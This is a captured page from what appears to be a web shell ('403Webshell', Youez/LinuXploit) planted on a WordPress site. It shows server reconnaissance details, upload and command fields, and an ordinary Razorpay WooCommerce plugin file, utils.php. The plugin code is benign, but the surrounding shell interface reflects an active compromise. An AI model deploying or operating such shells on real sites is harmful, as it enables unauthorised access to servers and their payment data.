403Webshell
Server IP : 104.26.3.156  /  Your IP : 216.73.216.185
Web Server : nginx/1.27.1
System : Linux us-1 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User : vinodai ( 3134)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /storage/v1396/themastermynd/public_html/wp-content/plugins/woo-razorpay/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /storage/v1396/themastermynd/public_html/wp-content/plugins/woo-razorpay/includes/utils.php
<?php
/**
 * controls visibility of 1cc buttons
 * checks test mode, metrics collection config
 * NOTE: we add additional check to see if the config field exists as it may cause issues
 * during plugin updates
 */

/**
 * payment plugins are loaded even if they are disabled which triggers the 1cc button flow
 * we need to check if the plugin is disabled
 */
function isRazorpayPluginEnabled()
{
    return (
        empty(get_option('woocommerce_razorpay_settings')['enabled']) === false
        && 'yes' == get_option('woocommerce_razorpay_settings')['enabled']
    );
}

function isTestModeEnabled()
{
    return (
        empty(get_option('woocommerce_razorpay_settings')['enable_1cc_test_mode']) === false
        && 'yes' == get_option('woocommerce_razorpay_settings')['enable_1cc_test_mode']
    );
}

function is1ccEnabled()
{
    return (
        empty(get_option('woocommerce_razorpay_settings')['enable_1cc']) === false
        && 'yes' == get_option('woocommerce_razorpay_settings')['enable_1cc']
    );
}

function isProductSupported()
{

}

function isCartSupported()
{

}

function isDebugModeEnabled()
{
    return (
        empty(get_option('woocommerce_razorpay_settings')['enable_1cc_debug_mode']) === false
        && 'yes' == get_option('woocommerce_razorpay_settings')['enable_1cc_debug_mode']
    );
}

function isPdpCheckoutEnabled()
{
    return (
        empty(get_option('woocommerce_razorpay_settings')['enable_1cc_pdp_checkout']) === false
        && 'yes' == get_option('woocommerce_razorpay_settings')['enable_1cc_pdp_checkout']
    );
}

function isMiniCartCheckoutEnabled()
{
    return (
        empty(get_option('woocommerce_razorpay_settings')['enable_1cc_mini_cart_checkout']) === false
        && 'yes' == get_option('woocommerce_razorpay_settings')['enable_1cc_mini_cart_checkout']
    );
}

function isMandatoryAccCreationEnabled()
{
    return (
        empty(get_option('woocommerce_razorpay_settings')['1cc_account_creation']) === false
        && 'yes' == get_option('woocommerce_razorpay_settings')['1cc_account_creation']
    );
}
function validateInput($route, $param)
{
    $failure_reason = null;

    switch ($route) {
        case 'list':
            if (empty(sanitize_text_field($param['amount'])) === true) {
                $failure_reason = 'Field amount is required.';
            }
            break;

        case 'apply':
            if (empty(sanitize_text_field($param['code'])) === true) {
                $failure_reason = 'Field code is required.';

            } elseif (empty(sanitize_text_field($param['order_id'])) === true) {

                $failure_reason = 'Field order id is required.';

            }
            break;

        case 'shipping':
            if (empty(sanitize_text_field($param['order_id'])) === true) {
                $failure_reason = 'Field order id is required.';

            } elseif (empty($param['addresses']) === true) {

                $failure_reason = 'Field addresses is required.';

            }
            break;

        default:

            break;
    }

    return $failure_reason;
}

Youez - 2016 - github.com/yon3zu
LinuXploit